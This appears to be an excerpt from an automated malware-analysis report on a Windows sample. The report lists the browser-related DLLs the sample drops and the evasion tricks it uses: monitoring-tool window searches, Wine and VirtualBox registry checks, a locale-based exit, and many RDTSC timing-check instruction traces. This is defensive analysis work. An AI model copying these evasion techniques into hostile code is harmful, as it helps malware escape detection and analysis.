Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00AD9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58346

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D218DF second address: D218E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D218E3 second address: D218E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D218E9 second address: D218EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D218EF second address: D218F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D218F3 second address: D218F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C91C second address: E9C931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09AFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CBA6 second address: E9CBAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CCD4 second address: E9CCD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CCD8 second address: E9CCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CCE6 second address: E9CCEC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CCEC second address: E9CCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1B3079D696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CCF8 second address: E9CCFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9CCFC second address: E9CD21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D6A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F1B3079D69Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D148 second address: E9D14C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE0F second address: E9FE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE14 second address: E9FE27 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1B30DB09A8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE27 second address: E9FE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE2B second address: E9FE31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE31 second address: E9FE3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1B3079D696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FEE9 second address: E9FEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FEED second address: E9FF3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D6A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F1B3079D69Ch 0x0000000f jo 00007F1B3079D696h 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F1B3079D69Ch 0x0000001c nop 0x0000001d jl 00007F1B3079D699h 0x00000023 push 00000000h 0x00000025 call 00007F1B3079D699h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF3C second address: E9FF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF40 second address: E9FF46 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF46 second address: E9FF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF4C second address: E9FF50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF50 second address: E9FF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1B30DB09AFh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF72 second address: E9FF78 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF78 second address: E9FF82 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B30DB09ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FF82 second address: E9FFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jbe 00007F1B3079D6A4h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1B3079D6A7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FFBB second address: E9FFC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1B30DB09A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FFC5 second address: E9FFC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FFC9 second address: EA0026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000003h 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F1B30DB09A8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 or dword ptr [ebp+122D210Ch], edi 0x0000002b push 00000000h 0x0000002d sbb cx, 7595h 0x00000032 push 00000003h 0x00000034 mov si, C23Ch 0x00000038 call 00007F1B30DB09A9h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F1B30DB09B0h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0026 second address: EA0060 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1B3079D6A7h 0x00000008 jmp 00007F1B3079D6A1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F1B3079D6A0h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jnp 00007F1B3079D6A4h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0060 second address: EA0064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0064 second address: EA007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1B3079D69Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA007A second address: EA0080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0124 second address: EA0128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0128 second address: EA01BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jne 00007F1B30DB09AEh 0x0000000e nop 0x0000000f push eax 0x00000010 mov di, ax 0x00000013 pop edx 0x00000014 push 00000000h 0x00000016 call 00007F1B30DB09B8h 0x0000001b mov edi, dword ptr [ebp+122D29EAh] 0x00000021 pop edx 0x00000022 push 4EB82202h 0x00000027 jmp 00007F1B30DB09ADh 0x0000002c xor dword ptr [esp], 4EB82282h 0x00000033 mov cx, 5D5Ch 0x00000037 jmp 00007F1B30DB09B4h 0x0000003c push 00000003h 0x0000003e mov dword ptr [ebp+122D210Ch], ebx 0x00000044 push 00000000h 0x00000046 mov dword ptr [ebp+122D3104h], eax 0x0000004c push 00000003h 0x0000004e or dword ptr [ebp+122D25C0h], ecx 0x00000054 push 4AEBA7FBh 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA01BA second address: EA01BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA01BF second address: EA01C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA01C4 second address: EA0207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 75145805h 0x0000000e jmp 00007F1B3079D6A7h 0x00000013 mov edi, dword ptr [ebp+122D2B1Ah] 0x00000019 lea ebx, dword ptr [ebp+12451D3Bh] 0x0000001f sub cl, FFFFFFA7h 0x00000022 push eax 0x00000023 jp 00007F1B3079D6A2h 0x00000029 je 00007F1B3079D69Ch 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0272 second address: EA0301 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F1B30DB09B1h 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1E87h], esi 0x00000013 push 00000000h 0x00000015 je 00007F1B30DB09ACh 0x0000001b mov dword ptr [ebp+122D25C0h], ecx 0x00000021 push 3F3D3F24h 0x00000026 pushad 0x00000027 pushad 0x00000028 jno 00007F1B30DB09A6h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 push ecx 0x00000032 jng 00007F1B30DB09A6h 0x00000038 pop ecx 0x00000039 popad 0x0000003a xor dword ptr [esp], 3F3D3FA4h 0x00000041 xor dword ptr [ebp+122D257Ch], edi 0x00000047 push 00000003h 0x00000049 add edx, dword ptr [ebp+122D2A12h] 0x0000004f push 00000000h 0x00000051 pushad 0x00000052 mov esi, dword ptr [ebp+122D28AAh] 0x00000058 jp 00007F1B30DB09AAh 0x0000005e popad 0x0000005f push 00000003h 0x00000061 xor esi, dword ptr [ebp+122D1EE2h] 0x00000067 pushad 0x00000068 mov cx, di 0x0000006b mov eax, 38406237h 0x00000070 popad 0x00000071 call 00007F1B30DB09A9h 0x00000076 push esi 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE466 second address: EBE485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F1B3079D6A5h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE485 second address: EBE489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE489 second address: EBE48D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE5D0 second address: EBE5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1B30DB09A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE5DB second address: EBE5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE5E1 second address: EBE5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE75E second address: EBE764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE764 second address: EBE771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB33 second address: EBEB37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB37 second address: EBEB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB3D second address: EBEB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB47 second address: EBEB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB5F second address: EBEB6E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1B3079D696h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB6E second address: EBEB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push edi 0x00000007 jmp 00007F1B30DB09B8h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBECE4 second address: EBECEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBECEA second address: EBECEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBECEE second address: EBECF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F1B3079D696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE2C second address: EBEE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE30 second address: EBEE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE34 second address: EBEE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE3A second address: EBEE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F1B3079D696h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F1B3079D6A3h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF2BA second address: EBF2BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF2BE second address: EBF2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F1B3079D69Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2E10 second address: EB2E15 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF5F9 second address: EBF5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFD38 second address: EBFD53 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B30DB09ACh 0x00000008 jo 00007F1B30DB09A6h 0x0000000e pushad 0x0000000f je 00007F1B30DB09A6h 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFD53 second address: EBFD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1B3079D6A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFD73 second address: EBFD77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFD77 second address: EBFD81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFD81 second address: EBFD85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFFC0 second address: EBFFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFFC6 second address: EBFFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFFD1 second address: EBFFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4BF1 second address: EC4C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007F1B30DB09A8h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F1B30DB09A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4C0C second address: EC4C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4C12 second address: EC4C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA6A1 second address: ECA6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B3079D6A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B35 second address: EC9B43 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B43 second address: EC9B55 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1B3079D69Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B55 second address: EC9B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F1B30DB09B5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B77 second address: EC9B83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jne 00007F1B3079D696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B83 second address: EC9B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B8B second address: EC9B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA383 second address: ECA389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA389 second address: ECA38D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECA38D second address: ECA397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
